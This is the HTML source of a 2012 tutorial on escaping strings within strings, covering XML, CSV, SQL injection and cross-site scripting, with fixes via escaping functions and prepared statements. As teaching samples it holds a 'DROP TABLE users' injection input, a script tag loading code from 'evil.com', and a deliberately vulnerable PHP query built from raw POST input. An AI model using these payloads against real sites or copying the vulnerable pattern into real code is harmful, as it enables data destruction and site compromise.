PageSourceSearch

https://kunststube.net/escapism/

html kunststube.net collected 2026-10-03 19:27:51 UTC 35,603 bytes, 498 lines download raw bytes

1<!DOCTYPE html>
2
3<html>
4<head>
5	<title>The Great Escapism (or: What you Need to Know to Work With Text Within Text)</title>
6	<link rel="stylesheet" href="/css/default.css" type="text/css" media="screen">
7					    <link rel="stylesheet" type="text/css" href="/css/prettify/prettify.css" media="screen">
8				
8<script src="/js/modernizr.js" type="text/javascript" charset="utf-8"></script>
8
9					    
9<script src="/js/prettify/prettify.js" type="text/javascript" charset="utf-8"></script>
9
10				
10<script src="https://code.jquery.com/jquery-1.8.3.min.js" type="text/javascript" charset="utf-8"></script>
10
11	
11<script src="/js/scroll.js" type="text/javascript" charset="utf-8"></script>
11
12</head>
13<body>
14
15<nav class="top">
16	<ul>
17		<li class="home"><a href="/">Kunststube</a></li>
18		<li><a title="What Every Programmer Absolutely, Positively Needs to Know About Encodings and Character Sets to Work With Text" href="/encoding/">/encoding</a></li>
19		<li class="selected"><a title="The Great Escapism (or: What You Need to Know to Work With Text Within Text)" href="/escapism/">/escapism</a></li>
20		<li><a title="The Definitive Guide To PHP's isset And empty" href="/isset/">/isset</a></li>
21		<li><a title="Handling Unicode Front to Back in a Web App" href="/frontback/">/frontback</a></li>
22		<li><a title="How Not To Kill Your Testability Using Statics" href="/static/">/static</a></li>
23		<li><a title="Kunststube\Router" href="https://github.com/deceze/Kunststube-Router">\Router</a></li>
24		<li><a title="Kunststube\Rison" href="https://github.com/deceze/Kunststube-Rison">\Rison</a></li>
25		<li><a title="Kunststube\CSRFP" href="https://github.com/deceze/Kunststube-CSRFP">\CSRFP</a></li>
26		<li><a title="Kunststube\POTools" href="https://github.com/deceze/Kunststube-POTools">\POTools</a></li>
27	</ul>
28</nav>
29
30<article class="main">
31	<h1>The great escapism (or: what you need to know to work with text within text)</h1>
32
33<p>SQL injection attacks, cross-site request forgeries, broken XML, our friend O\'Connor. Scary, scary things that we would all like to protect ourselves against, if only we could wrap our head around the reason why they happen. This article explains the fundamental concept behind all of it: strings and escaping strings within strings.</p>
34
35<h2>The basic problem</h2>
36
37<p>It's all just text. There, that's it. That's the basic problem right there. Pretty much anything in a computer system is represented by text (which in turn is <a href="http://kunststube.net/encoding/">represented by bytes</a>). Only that some text is meant to be consumed by the computer and other text by humans. They're both the same kind of text though. A quick example of what we're talking about:</p>
38
39<pre class="prettyprint"><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
40
41&lt;article&gt;
42    &lt;author&gt;David C. Zentgraf&lt;/author&gt;
43    &lt;contents&gt;
44        Lorem ipsum dolor sit amet, consectetur adipisicing elit,
45        sed do eiusmod tempor incididunt ut labore et dolore magna
46        aliqua. Ut enim ad minim veniam, quis nostrud exercitation
47        ullamco laboris nisi ut aliquip ex ea commodo consequat.
48    &lt;/contents&gt;
49&lt;/article&gt;
50</code></pre>
51
52<p>There, text. Some people call it XML, but it's just text. Perhaps we would not submit this to our English teacher like that (not least because it's not English), but it's still just text. You can print it in a book, you can write it in a letter to your mom, it's text.</p>
53
54<p>Yet, we want certain parts of this text to have a special meaning to our computer. We want our computer to be able to extract the author of this text and the text itself separately so it can do something with it. Perhaps to transform the above into this:</p>
55
56<blockquote>
57  <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit,
58  sed do eiusmod tempor incididunt ut labore et dolore magna
59  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
60  ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
61  
62  <p>by David C. Zentgraf</p>
63</blockquote>
64
65<p>How would a computer know how to accomplish this? Well, because we helpfully surrounded certain parts of the text by words in funny brackets, like <code>&lt;author&gt;</code> and <code>&lt;/author&gt;</code>. Because we did this, we can write a program that looks for these specific parts, extracts anything between them and uses that for something of our own devising.</p>
66
67<p>In other words, we used certain <em>conventions</em> and <em>rules</em> within our text to signal some special meaning, which somebody following these rules can use to do something.</p>
68
69<p>OK, fine, that's not so hard to understand. Neither should this be: What if we want to use the funny markers that signify some special meaning in our normal text <em>without</em> having them signify any special meaning? Like, say:</p>
70
71<pre class="prettyprint"><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
72
73&lt;article&gt;
74    &lt;author&gt;David C. Zentgraf&lt;/author&gt;
75    &lt;contents&gt;
76        Basic math tells us that if x &lt; n and y &gt; n,
77        x cannot be larger than y.
78    &lt;/contents&gt;
79&lt;/article&gt;
80</code></pre>
81
82<p>The characters "&lt;" and "&gt;" aren't anything special. They may legitimately be used anywhere in any written text like the above. That kind of clashes with our idea of wanting them to mean something special as in <code>&lt;author&gt;</code> though. Does that mean that in the above text, <code>&lt; n and y &gt;</code> means something special? In a general-purpose markup language like XML, it might. Or it mightn't. It's ambiguous. Since computers are bad with ambiguity though, something is likely to break if we don't clarify here.</p>
83
84<p>To solve this dilemma, we replace the ambiguous characters with something unambiguou
84s:</p>
85
86<pre class="prettyprint"><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
87
88&lt;article&gt;
89    &lt;author&gt;David C. Zentgraf&lt;/author&gt;
90    &lt;contents&gt;
91        Basic math tells us that if x &amp;lt; n and y &amp;gt; n,
92        x cannot be larger than y.
93    &lt;/contents&gt;
94&lt;/article&gt;
95</code></pre>
96
97<p>This is now completely unambiguous, as long as we follow these two rules:</p>
98
99<ol>
100<li>The characters <code>&lt;</code> and <code>&gt;</code> introduce text with special meaning.</li>
101<li>The text <code>&amp;lt;</code> and <code>&amp;gt;</code> really means <code>&lt;</code> and <code>&gt;</code> respectively.</li>
102</ol>
103
104<p>The technical term for this is that we <em>escaped</em> the special characters when we don't want them to be special.</p>
105
106<blockquote>
107    <p>
108        escape |iˈskāp|<br>
109        verb
110    </p>
111
112    <ol>
113        <li>
114            [ no obj. ] break free from confinement or control<br>
115            • succeed in avoiding or eluding something dangerous, unpleasant, or undesirable
116        </li>
117        <li>[ with obj. ] fail to be noticed or remembered [...]</li>
118        <li>[ with obj. ] Computing: cause to be interpreted differently [...]</li>
119    </ol>
120</blockquote>
121
122<p>If certain characters or character sequences in a text have a special meaning, there need to be rules that specify how to resolve situations where those characters should be used without invoking their special meaning. Or in other words, escaping answers the question <em>"If those them characters are so special, then how can I use 'em in my text?"</em></p>
123
124<p>As you may have noticed, in our little example above the <code>&amp;</code> character has become special now as well. What if we wanted to write "&amp;lt;" without it meaning "&lt;"? The XML answer to that is that the escape sequence for the "&amp;" character is <code>&amp;amp;</code>. Hence, to write "&amp;lt;", we need to write <code>&amp;amp;lt;</code>.</p>
125
126<h2>Other examples</h2>
127
128<p>XML isn't the only case suffering from "special characters". Any source code in any programming language exhibits the same phenomenon:</p>
129
130<pre class="prettyprint"><code>var name     = "David C. Zentgraf";
131var contents = "Lorem ipsum dolor sit amet, consectetur adipisicing elit,
132                sed do eiusmod tempor incididunt ut labore et dolore magna
133                aliqua. Ut enim ad minim veniam, quis nostrud exercitation
134                ullamco laboris nisi ut aliquip ex ea commodo consequat.";
135</code></pre>
136
137<p>This is fairly simple actually. Literal text is clearly segregated from other "non-text" by surrounding double quotes. I can use my math example without any problems here:</p>
138
139<pre class="prettyprint"><code>var name     = "David C. Zentgraf";
140var contents = "Basic math tells us that if x &lt; n and y &gt; n,
141                x cannot be larger than y.";
142</code></pre>
143
144<p>Awesome! No need to escape anything here.</p>
145
146<p>But wait, what if I wanted to quote somebody?</p>
147
148<pre class="prettyprint"><code>var name     = "David C. Zentgraf";
149var contents = "Plato is said to once have said "Lorem ipsum
150                dolor sit amet".";
151</code></pre>
152
153<p>Hmm, crap. As a human, you can probably tell where the <code>contents</code> text is supposed to start and end, but, again, it has become ambiguous for any computer. We need to come up with some escaping rules that help us differentiate between a literal <code>"</code> and a <code>"</code> that has the special meaning of segregating literal text from other text. Most programming languages use a preceding backslash for that:</p>
154
155<pre class="prettyprint"><code>var name     = "David C. Zentgraf";
156var contents = "Plato is said to once have said \"Lorem ipsum
157                dolor sit amet\".";
158</code></pre>
159
160<p>A <code>\</code> makes the character following it "non-special". But that also means that the backslash is a <em>special character</em>
160 now. To unambiguously write a backslash without it inadvertently escaping something, we need to write <code>\\</code>, which is the escape sequence that means <code>\</code>. Fun, ain't it?</p>
161
162<p>There's also a cute little informal file format called CSV, which stands for "comma separated values". It's very simple:</p>
163
164<pre class="prettyprint"><code>Year,Earings,Losses
1652010,$114.41,$12.65
1662011,$653.54,$200.53
167</code></pre>
168
169<p>Each line represents a row in a spreadsheet or table with the different columns being separated by commas. Very nice, very simple. But that means that the comma is a character with a special meaning in this file format. What if the value of a column should contain a comma?</p>
170
171<pre class="prettyprint"><code>Year,Earings,Losses
1722010,$114.41,$12.65
1732011,$653.54,$200.53
1742012,$1,323.23,$321.43
175</code></pre>
176
177<p>Why did we earn only a single dollar and what's the forth column for in that last line? Oh, wait, that's just a parsing error due to an ambiguous comma. We can solve this ambiguity by putting all ambiguous values into quotes:</p>
178
179<pre class="prettyprint"><code>Year,Earings,Losses
1802010,$114.41,$12.65
1812011,$653.54,$200.53
1822012,"$1,323.23",$321.43
183</code></pre>
184
185<p>There, that should help.<br />
186Only, <code>"</code> is a character with a special meaning now. If we wanted to use a quote and a comma together in the same column, I'm afraid we need a rule on how to escape either of them...</p>
187
188<h2>It's hopeless!</h2>
189
190<p>I hope by now you have understood the basic problem. If your text has <em>any</em> characters that signify a special meaning, you will always have to deal with escaping rules. The easiest rule to apply would be that special characters are always special and you cannot use them for your own purposes. So no discussion about math in XML. No quotations by long-dead philosophers in any string literals. No formatted numbers in spreadsheets.<br />
191That's usually an unrealistic proposal though. What good is a file format that forbids me to use certain characters, especially ones so common as <code>&lt;</code>, <code>&gt;</code>, <code>"</code> or <code>,</code>? The stupid file format should rather use less common characters!</p>
192
193<pre class="prettyprint"><code>⌫?xml version="1.0" encoding="UTF-8" ?⌦
194
195⌫article⌦
196    ⌫author⌦David C. Zentgraf⌫/author⌦
197    ⌫contents⌦
198        Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y.
199    ⌫/contents⌦
200⌫/article⌦
201</code></pre>
202
203<p>There we go, much better. Nobody's using ⌫ or ⌦ anyway, except for a few eggheads maybe, right? The problem with using less commonly used "special characters" is still the same though. If you really needed to use those characters, you either couldn't, or you needed to escape them. Furthermore, how is anyone supposed to type those into the computer? And on top of it all, we are now required to use an <a href="http://kunststube.net/encoding/">encoding</a> that can actually represent those uncommon characters, which is a deep, deep rabbit hole all in itself.</p>
204
205<p>So special characters and escape sequences are here to stay, for better or for worse.</p>
206
207<h2>Attack!</h2>
208
209<p>It wouldn't all be half so bad if we just needed to escape a few characters here and there by hand. It's somewhat annoying, but not terribly so. The problems start when computer programs write text for other computer programs to read. And no, that's not science fiction, that's being done all the time. This very website you're reading has been constructed out of a <a href="http://daringfireball.net/projects/markdown/">Markdown</a> formatted source, automatically transformed into HTML text and sent to your browser, which has read it and is displaying the result to you now. Nobody has hand-typed this HTML (because it's terribly tedious), a computer program has written the HTML that your browser is reading.</p>
210
211<p>Another very common pattern and source of many many security problems: SQL queries. SQL is a (not so) small text-based language invented to make it easy for any program to talk to a database:</p>
212
213<pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank'
214</code></pre>
215
216<p>Now <em>that's</em>
216 text if I ever saw some. There's virtually no "special" special character in there, it's all basically English. And yet virtually every single word in that SQL sentence has a special meaning. This is being used in programming languages the world over in some form like this:</p>
217
218<pre class="prettyprint"><code>$query  = "SELECT phone_number FROM users WHERE name = 'Frank'";
219$result = mysql_query($query);
220</code></pre>
221
222<p>These two simple lines abstract the terrifically complex task of one program asking another database program for data that matches certain requirements, that database sifting through possibly terabytes of bits and bytes to find that data and returning the results nicely formatted to the requesting program. Seriously, this is some complex shit happening right there, encapsulated in a simple English-like sentence.</p>
223
224<p>To make this useful though, the particulars of a query are usually not hard-coded in a program, but are cobbled together at runtime (and here it comes) <strong>based on user input</strong>. This simple English-like sentence is written dynamically as needed under the direction of a human being, the user:</p>
225
226<pre class="prettyprint"><code>$name   = $_POST['name'];
227$query  = "SELECT phone_number FROM users WHERE name = '$name'";
228$result = mysql_query($query);
229</code></pre>
230
231<p>In case you're just skimming this article: <strong><em>This is an anti-pattern! This is the worst thing you could ever possibly do! This is a security nightmare! Kittens die en masse every time you write something like this! <a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">Cthulhu</a> will devour your soul and kick your dog, too!</em></strong></p>
232
233<p>Having said that, let's examine what's happening here. <code>$_POST['name']</code> is a value that some random user has typed into a random form on your random website. Your program is constructing an SQL query (one of those English-like sentence thingies) using that value as the name of the user you want to find in your database. It then sends that SQL "sentence" to the database which has to deal with it.</p>
234
235<p>That doesn't sound so terrible now, does it? Let's try a few possible values that I might type into your random website and what kind of SQL query would result from that:</p>
236
237<dl>
238    <dt>Frank</dt>
239    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank'</code></pre></dd>
240
241    <dt>John</dt>
242    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'John'</code></pre></dd>
243
244    <dt>O'Connor</dt>
245    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'O'Connor'</code></pre></dd>
246
247    <dt>Joe'; DROP TABLE users; --</dt>
248    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'</code></pre></dd>
249</dl>
250
251<p>Number 1 and 2 aren't so bad, right? Number 3 seems to break our syntax with the ambiguous <code>'</code>. Damn Irish. Number 4 is outright wacky. Who would do such a thing? It doesn't make any sense...</p>
252
253<p>Except it does to the database that's handling the query. The database has no idea where that query came from or what it was supposed to mean. It only sees that two requests are made of it: find the phone number of a user named "Joe", then delete the users table (which is followed by the comment <code>'</code>). And it will happily comply.</p>
254
255<p>All this <em>shouldn't</em> be entirely news to you. If it is, please read this article again from the beginning now, since you're either very new to programming or have lived under a rock for the past few decades. This example illustrates the basics of an SQL injection attack used the world over to mischievously delete data, suspiciously grab data that wasn't supposed to be grabbed and to maliciously log into systems without possessing access credentials. And all because a database is taking a small English-like sentence a bit too literally.</p>
256
257<h2>Chaaaaaaarge!</h2>
258
259<p>Next up: XSS attacks. They're enabled through the exact same mechanism, only applied to HTML.</p>
260
261<p>Say you solved your database problems and are actually accepting user input, storing it in your database and are outputting it back onto y
261our website to show to other users. That's what a typical forum, bulletin board or commenting system does. Somewhere in your site you have something along these lines:</p>
262
263<pre class="prettyprint"><code>&lt;div class="post"&gt;
264    &lt;p class="meta"&gt;
265        Posted by &lt;?php echo $post['username']; ?&gt;
266        on &lt;?php echo date('F j, H:i', $post['date']); ?&gt;
267    &lt;/p&gt;
268    &lt;p class="body"&gt;
269        &lt;?php echo $post['body']; ?&gt;
270    &lt;/p&gt;
271&lt;/div&gt;
272</code></pre>
273
274<p>If your users are nice, they'll quote old philosophers and the posts will look like this:</p>
275
276<pre class="prettyprint"><code>&lt;div class="post"&gt;
277    &lt;p class="meta"&gt;
278        Posted by Plato
279        on January 2, 15:31
280    &lt;/p&gt;
281    &lt;p class="body"&gt;
282        I am said to have said "Lorem ipsum dolor sit amet,
283        consectetur adipisicing elit, sed do eiusmod tempor
284        incididunt ut labore et dolore magna aliqua. Ut enim
285        ad minim veniam, quis nostrud exercitation ullamco
286        laboris nisi ut aliquip ex ea commodo consequat."
287    &lt;/p&gt;
288&lt;/div&gt;
289</code></pre>
290
291<p>If your users are eggheads, they'll talk about math and the posts will look something like this:</p>
292
293<pre class="prettyprint"><code>&lt;div class="post"&gt;
294    &lt;p class="meta"&gt;
295        Posted by Pascal
296        on November 23, 04:12
297    &lt;/p&gt;
298    &lt;p class="body"&gt;
299        Basic math tells us that if x &lt; n and y &gt; n,
300        x cannot be larger than y.
301    &lt;/p&gt;
302&lt;/div&gt;
303</code></pre>
304
305<p>Hmm, there we have those troubling brackets again. Well, technically speaking they may be ambiguous, but the browser will forgive us this one, right?</p>
306
307<pre class="prettyprint"><code>&lt;div class="post"&gt;
308    &lt;p class="meta"&gt;
309        Posted by JackTR
310        on July 18, 12:56
311    &lt;/p&gt;
312    &lt;p class="body"&gt;
313        &lt;script src="http://evil.com/dangerous.js"
314            type="text/javascript" charset="utf-8"&gt;&lt;/script&gt;
315    &lt;/p&gt;
316&lt;/div&gt;
317</code></pre>
318
319<p>OK, wait, what just happened? Some joker actually input a Javascript tag into your forum. Anybody looking at this post now downloads and executes a script in the context of your site, which might do who-knows-what. That ain't good.</p>
320
321<h2>Not to be taken literally</h2>
322
323<p>In both the above cases, we just want some way to tell our database and the browser respectively that <em>this part here is just some value, you're not supposed to <strong>do</strong> anything with it!</em> In other words, we want to remove the special meaning any characters may have in any of the data a user gives us, because we don't know and don't trust what the user gives us.</p>
324
325<p>...</p>
326
327<p>Yes, you there, in front of the computer. What's that? <em>"Escaping"</em> you say? Why yes, that's the correct answer! Take a cookie.</p>
328
329<p>If we escape any user data before we merge it with the rest of our text, the problem is solved. For our database queries, this would look like this:</p>
330
331<pre class="prettyprint"><code>$name   = $_POST['name'];
332$name   = mysql_real_escape_string($name);
333$query  = "SELECT phone_number FROM users WHERE name = '$name'";
334$result = mysql_query($query);
335</code></pre>
336
337<p>Just one more line of code, but now nobody can "hack" our database anymore. Let's see again how different user input turns into SQL queries:</p>
338
339<dl>
340    <dt>Frank</dt>
341    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank'</code></pre></dd>
342
343    <dt>John</dt>
344    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'John'</code></pre></dd>
345
346    <dt>O'Connor</dt>
347    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'O\'Connor'</code></pre></dd>
348
349    <dt>Joe'; DROP TABLE users; --</dt>
350    <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'</code></pre></dd>
351</dl>
352
353<p>Just a tiny <code>\</code> makes all the difference. It helps our friend O'Connor (blessed be the Irish) to write his name into our database and subverts attacks against our database at the same time. Even little <a href="http://xkcd.com/327/">Bobby Tables</a> can sign into our forum now. <code>mysql_real_escape_string</code> indiscriminately puts a backslash in front of anything that may have some special meaning. What exactly those special characters are depends on your database version, character set and the moon ph
353ase, and <code>mysql_real_escape_string</code> tries to handle all of that correctly. Which is to say, it's not as simple as replacing all occurrences of <code>'</code> with <code>\'</code> yourself, so don't try it.</p>
354
355<p>Next up, we change our forum script to this:</p>
356
357<pre class="prettyprint"><code>&lt;div class="post"&gt;
358    &lt;p class="meta"&gt;
359        Posted by &lt;?php echo htmlspecialchars($post['username']); ?&gt;
360        on &lt;?php echo date('F j, H:i', $post['date']); ?&gt;
361    &lt;/p&gt;
362    &lt;p class="body"&gt;
363        &lt;?php echo htmlspecialchars($post['body']); ?&gt;
364    &lt;/p&gt;
365&lt;/div&gt;
366</code></pre>
367
368<p>We apply the <code>htmlspecialchars</code> function to all user data before outputting it. That simply applies the HTML/XML escaping rules we discussed at the very beginning.</p>
369
370<pre class="prettyprint"><code>&lt;div class="post"&gt;
371    &lt;p class="meta"&gt;
372        Posted by Plato
373        on January 2, 15:31
374    &lt;/p&gt;
375    &lt;p class="body"&gt;
376        I am said to have said &amp;quot;Lorem ipsum dolor sit amet,
377        consectetur adipisicing elit, sed do eiusmod tempor
378        incididunt ut labore et dolore magna aliqua. Ut enim
379        ad minim veniam, quis nostrud exercitation ullamco
380        laboris nisi ut aliquip ex ea commodo consequat.&amp;quot;
381    &lt;/p&gt;
382&lt;/div&gt;
383</code></pre>
384
385<p>The quotation marks are replaced by <code>&amp;quot;</code>. This wasn't strictly necessary here, but in <em>some</em> contexts the double quote is a special character in HTML (for example in <code>class="body"</code>), so <code>htmlspecialchars</code> escapes it.</p>
386
387<pre class="prettyprint"><code>&lt;div class="post"&gt;
388    &lt;p class="meta"&gt;
389        Posted by Pascal
390        on November 23, 04:12
391    &lt;/p&gt;
392    &lt;p class="body"&gt;
393        Basic math tells us that if x &amp;lt; n and y &amp;gt; n,
394        x cannot be larger than y.
395    &lt;/p&gt;
396&lt;/div&gt;
397</code></pre>
398
399<p>The angle brackets were made unambiguous by replacing them with <code>&amp;lt;</code> and <code>&amp;gt;</code>.</p>
400
401<pre class="prettyprint"><code>&lt;div class="post"&gt;
402    &lt;p class="meta"&gt;
403        Posted by JackTR
404        on July 18, 12:56
405    &lt;/p&gt;
406    &lt;p class="body"&gt;
407        &amp;lt;script src=&amp;quot;http://evil.com/dangerous.js&amp;quot;
408            type=&amp;quot;text/javascript&amp;quot; charset=&amp;quot;utf-8&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
409    &lt;/p&gt;
410&lt;/div&gt;
411</code></pre>
412
413<p>And our joker's attempt at injecting some Javascript into our page was subverted as well by escaping anything that would give the <code>&lt;script&gt;</code> tag its special meaning. Now it's all really just text.</p>
414
415<p>Please note that the values are not "broken". They may appear garbled in the example above, but they will appear exactly as they should. Any browser that's parsing this HTML to display a nice webpage will follow the escaping rules laid out at the very beginning:</p>
416
417<ol>
418<li>The characters <code>&lt;</code> and <code>&gt;</code> introduce text with special meaning.</li>
419<li>Any <code>&amp;lt;</code> and <code>&amp;gt;</code> really means <code>&lt;</code> and <code>&gt;</code> respectively.</li>
420</ol>
421
422<p>(Actually, there should be a third rule regarding <code>&amp;quot;</code> now, but you get the idea...)</p>
423
424<p>The same goes for our database queries. Our friend O'Connor will be saved to the database as "O'Connor", not as "O\'Connor". To the database that's reading the SQL query to figure out what it's supposed to do, the <code>\</code> has the special meaning of <em>"the following character has no special meaning"</em>. The special character <code>\</code> itself is not saved to the database. Yes, with "special characters" it goes round and round in circles. Some extreme outgrowth of that is that the text "&#92;\'\'" is escaped to <code>\\\\\'\\\'</code>. The <code>\</code> escapes the <code>\</code> which escapes the not-escaping <code>\\</code> which... Oh, whatever. That is why you should not do this yourself but use a specialized escaping function that has no mind to boggle but knows what it's doing.</p>
425
426<h2>Which brings us back to...</h2>
427
428<p>All the above demonstrates a problem common to many systems: Text within text needs to be escaped if it's not supposed to have any special meaning. Putting text values into SQL queries, these text values need to be escaped according to SQL escaping rules. Putting text values into HTML output, these text values need to be escaped according to HTML escaping rules. Putting text values into CSV files, these text values need to be escaped according to CSV escaping rules. Putting text values into JSON strings, these text values need to be escaped according to JSON escaping rules. <strong>Putting text values into (name of technology) strings, these text values need to be escaped according to (name of technology) escaping rules.</strong> That's all there is to it.</p>
429
430<p>Because it's all just text. <em>You</em> may know that <em>this</em> part there is not supposed to be taken literally, but a computer that's only given a piece of text can't know and won't know. That's what escaping rules were invented for, which a computer can follow very nicely. You only need to understand this concept once, it can be applied to virtually any text format used in virtually any computer system to date.</p>
431
432<h2>For the sake of completeness</h2>
433
434<p>There are of course other ways to deal with user input which may or may not contain "special characters":</p>
435
436<dl>
437<dt>Validation</dt>
438<dd>You may validate whether some user input conforms to certain specifications. If you require a user to enter a number, but the user enters something that does not look like a number, the program should complain to the user and reject the input. If that works correctly, there should be no risk of a user entering "DROP TABLE users" where he was supposed to enter a harmless "42". This is not very practical to avoid HTML/SQL injection though, since oftentimes you <em>want</em> and <em>need</em> to accept any sort of freeform text which often legitimately can contain "special characters". You usually want to use validation <em>in addition</em> to other measures.</dd>
439
440<dt>Sanitization</dt>
441<dd>You may also simply silently remove any characters you deem "dangerous" from any user input. For example, simply delete anything that looks like an HTML tag to avoid users adding <code>&lt;script&gt;</code> tags into your forum. The problem with sanitizing text is that you may indiscriminately drop legitimate values. It c
441an also be rather difficult to get right, i.e. to catch every last possible permutation of special characters. This is <em>extremely</em> difficult to get right if you want to allow your users to use <em>some</em> special characters but not others, e.g. you want to allow your forum users to use the <code>&lt;em&gt;</code> tag but not the <code>&lt;a&gt;</code> tag. If you go for sanitization, use some well-tested library that's specialized in sanitizing text. This particular wheel can be very time consuming and difficult to reinvent.</dd>
442
443<dt>Prepared SQL statements</dt>
444<dd>
445<p>Specifically for SQL queries, there are also <em>prepared statements</em>. These do exactly what you wanted all along: make the database understand the difference between <em>your</em> part of the SQL query and the <em>user supplied values</em>. In PHP, they look something like this:</p>
446
447<pre class="prettyprint"><code>$stmt = $pdo-&gt;prepare('SELECT phone_number FROM users WHERE name = ?');
448$stmt-&gt;execute($_POST['name']);
449</code></pre>
450
451<p>This sends the query to the database in a two-step process which clearly distinguishes between <em>the query</em> and <em>the value</em>. The database has a chance to understand the structure of the query first and fill in the values afterwards. This should be the preferred method to interact with databases in this day and age, since it avoids the messy issue of escaping altogether.</p>
452</dd>
453</dl>
454
455<p>In the real world, you use all these techniques together to varying degrees. You should always use <em>validation</em> to make sure the user is inputting what he's supposed to be inputting. If you ask the user for an email address, you should make sure that what you're getting at least looks like a valid email address. Next, you may or may not want to <em>sanitize</em> any input. If a user is clearly trying to inject some Javascript into your forum, you may just want to delete it. Unless of course you have a forum where people may legitimately want to talk about Javascript. As said above, sanitization is a tricky business. Next, you always, <em>always</em> SQL-escape any user values before putting them into SQL queries or, alternatively, use prepared statements. Last but not least, you should HTML escape any text of unknown quality when outputting to HTML (or JSON encode when outputting to JSON, or CSV escape when outputting to CSV etc.).</p>
456
457<h3>What <em>not</em> to do</h3>
458
459<ul>
460<li>Don't use the wrong escaping method. Different text formats have different "special characters" and different escaping rules. HTML escaping a string will not protect against SQL injections and vice versa.</li>
461<li>Don't escape until you need to. There's no point of HTML escaping a string when putting it into a database (even if you additionally SQL escape it). Yes, you will <em>probably</em> output that string in HTML at some later point and it will already be correctly HTML escaped then. But until then your string is actually garbled. <code>&amp;quot;x &amp;lt; n&amp;quot;</code> is <em>not</em> the same as <code>"x &lt; n"</code>. What is it doing in your database?</li>
462<li>More escaping doesn't mean more security. <code>mysql_real_escape_string(my_custom_sanitize(htmlspecialchars(strip_tags(trim($string)))))</code> is not anymore secure than <code>mysql_real_escape_string($string)</code> in the context of an SQL query. If you consciously and carefully want to apply sanitization to your user input, that's fine. But for the sake of SQL injection prevention, correctly SQL-escaping <em>once</em> is enough.</li>
463<li>Escaping escaped text just garbles it more. <code>htmlspecialchars('"x &lt; n"')</code> results in <code>&amp;quot;x &amp;lt; n&amp;quot;</code>. That's actually garbled text, <em>but</em> if read according to HTML rules, it actually means <code>"x &lt; n"</code>, which is what we want. If you escape this again though, it will become even more garbled. A JSON encoded HTML escaped SQL escaped C-backslash escaped URL encoded string is a terribly garbled string and needs to be un-escaped in exactly the reverse order to ever become the original string again. Don't escape more than necessary and only if you know 
463why you're escaping in the first place.</li>
464</ul>
465
466	<h2>About the author</h2>
467
468	<p>
469		David C. Zentgraf is a web developer working partly in Japan and Europe and is
470		<a href="http://stackoverflow.com/users/476/deceze">a regular</a> on <a href="http://stackoverflow.com">Stack Overflow</a>.
471		If you have feedback, criticism or additions, please feel free to try <a href="http://twitter.com/deceze">@deceze</a> on Twitter,
472		take an educated guess at his email address or look it up using <a href="http://en.wikipedia.org/wiki/Whois">time-honored methods</a>.
473		This article was published on <a href="http://kunststube.net">kunststube.net</a>. And no, there is no dirty word in "Kunststube".
474	</p>
475</article>
476
477<footer>
478	<p>
479		<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Creative Commons License" src="https://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png" /></a><br />
480		<span xmlns:dct="http://purl.org/dc/terms/" href="http://purl.org/dc/dcmitype/Text" property="dct:title" rel="dct:type">The Great Escapism (or: What you Need to Know to Work With Text Within Text)</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://kunststube.net" property="cc:attributionName" rel="cc:attributionURL">David C. Zentgraf</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License</a>.
481	</p>
482	<p>Last updated on Monday, November 5th, 2012.</p>
483</footer>
484
485		    
485<script type="text/javascript">prettyPrint();</script>
485
486		
486<script type="text/javascript">
487	    var _gaq = _gaq || [];
488	    _gaq.push(['_setAccount', 'UA-3563990-1']);
489	    _gaq.push(['_trackPageview']);
490
491	    (function() {
492	        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
493	        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
494	        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
495	    })();
496	</script>
496
497</body>
498</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.